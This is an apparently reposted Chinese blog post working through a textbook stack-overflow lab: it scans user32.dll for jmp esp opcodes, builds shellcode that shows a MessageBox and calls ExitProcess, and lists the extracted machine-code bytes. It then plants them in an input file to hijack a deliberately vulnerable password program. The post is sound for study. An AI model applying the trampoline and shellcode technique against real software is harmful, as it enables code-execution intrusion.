3.2 定位shellcode

本文详细介绍了在Windows 10环境下开发通用shellcode的过程。通过VC6.0编译并用OllyDbg调试,实现了对指定DLL的调用及程序的正常退出。文章还展示了如何定位和利用jmp esp地址,以及如何调整shellcode以适应不同操作系统环境。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

此帖为 0day_2th 一书第三章实践不完全记录。

流程记录

  1. searchAddr.c 文件:

    #include <windows.h>
    #include <stdio.h>
    #define DLL_NAME "user32.dll"
    
    main()
    {
        BYTE* ptr;
        int position, address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary(DLL_NAME);
        if(!handle)
        {
            printf(" load dll erro !");
            exit(0);
        }
        ptr = (BYTE*)handle;
    
        for(position = 0; !done_flag; position++)
        {
    
            try
            {
                if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
                {
                    // 0xFFE4 is the opcode of jmp esp
                    int address = (int)ptr + position;
                    printf("OPCODE found at 0x%x\n",address);
                }
            }
            catch(...)
            {
                int address = (int)ptr + position;
                printf("END OF 0x%x\n", address);
                done_flag = true;
            }
    
        }
    }

    将searchAddr.c文件在vc6.0中编译运行。产生的.exe文件我们放到OllyDbg调试。运行我们自己编写程序搜索跳转地址得到的结果和 OllyDbg 插件搜到的结果基本相同,如图 3.2.5 所示。

    Screen Shot 2018-09-26 at 4.31.33 pm

    图3.2.5 Olly Dbg搜出的“跳板”与程序搜出的“跳板”地址

    此处不妨以 0x77d92c08 (等同于书中的 0x77DC14CC)作为定位 shellcode 的“跳板”。

  2. 使用dependency walker获得ExitProcess函数入口地址 0x7c81cdda。

    Screen Shot 2018-09-26 at 4.53.33 pm

    图 3.2.6 计算 ExitProcess 函数的入口地址

    注:具体方法参考此帖相关处即可

  3. shellCode.c 文件:

    #include <windows.h>
    
    int main()
    {
        HINSTANCE LibHandle;
        char dllbuf[11] = "user32.dll";
        LibHandle = LoadLibrary(dllbuf);
        _asm{
            sub sp,0x440
            xor ebx,ebx
            push ebx // cut string
            push 0x74736577
            push 0x6c696166 // push failwest
    
            mov eax,esp // load address of failwest
            push ebx
            push eax
            push eax
            push ebx
    
            mov eax,0x77d5058a // address should be reset in different OS
            call eax // call MessageboxA
            push ebx
            mov eax,0x7c81cdda
            call eax // call exit(0)
        }
    }

    将shellCode.c文件在vc6.0中编译运行。

    Screen Shot 2018-09-27 at 9.06.49 am

    点击确定按钮

    Screen Shot 2018-09-27 at 9.09.09 am

    可见程序可以正常退出了。

    注:附一张地址对应表,书中的地址和自己虚拟机xp系统环境有出入,代码不能照搬书,需要稍作修改。你自己的环境与我的也许也不同,对应处修改即可。

    作用书中实际环境
    跳板0x77dc14cc0x77d92c08
    ExitProcess入口地址0x7c81cdda同书中
    MessageBoxA入口地址0x77d804ea0x77d5058a
  4. 为了提取出汇编代码对应的机器码,我们将上述代码用 VC6.0 编译运行通过后,再用 OllyDbg 加载可执行文件,选中所需的代码后可直接将其 dump 到文件中,如图 3.2.7 所示。

    Screen Shot 2018-09-27 at 10.23.28 am

    图 3.2.7 从 PE 文件中提取 shellcode 的机器码

    现在我们已经具备了制作新 exploit 需要的所有信息。

    (1)搜索到的 jmp esp 地址,用作重定位 shellcode 的“跳板”:0x77d92c08。

    (2)修改后并重新提取得到的 shellcode,如表 3-2-2 所示。

    表 3-2-2 shellcode 及注释
    机器代码(十六进制)汇编指令注释
    33 dbxor ebx,ebx
    53 pupush ebx
    68 77 65 73 74push 0x74736577
    68 66 61 69 6cpush 0x6c696166
    8b c4mov eax,esp
    53 pupush ebx
    50 pupush eax
    50 pupush eax
    53 pupush ebx
    b8 8a 05 d5 77mov eax,0x77d5058a
    ff d0call eax
    53 pupush ebx
    b8 da cd 81 7cmov eax,0x7c81cdda
    ff d0call eax

    按照 2.4 节中对栈内情况的分析,我们将 password.txt 使用十六进制编辑器制作成如图 3.2.8 所示的形式。

    Screen Shot 2018-09-27 at 10.51.26 am

    图 3.2.8 在输入文件中部署 shellcode
  5. 现在再运行密码验证程序,怎么样,程序退出的时候不会报内存错误了吧。虽然还是同样的消息框,但是这次植入代码的流程和 2.4 节中已有很大不同了,最核心的地方就是使用了跳转地址定位 shellcode。运行结果截图如下

    Screen Shot 2018-09-27 at 10.53.44 am

    点击确定按钮后,正常退出。如下

    Screen Shot 2018-09-27 at 10.53.51 am

Preference

0day-security-software-vulnerability-analysis-technology

https://www.cnblogs.com/wh4am1/p/6619073.html

windows下shellcode编写入门

[原创]《0day安全...(第二版)》第3章第4节开发通用的shellcode在win10系统下测试的问题

转载于:https://www.cnblogs.com/kafffka/p/9726226.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值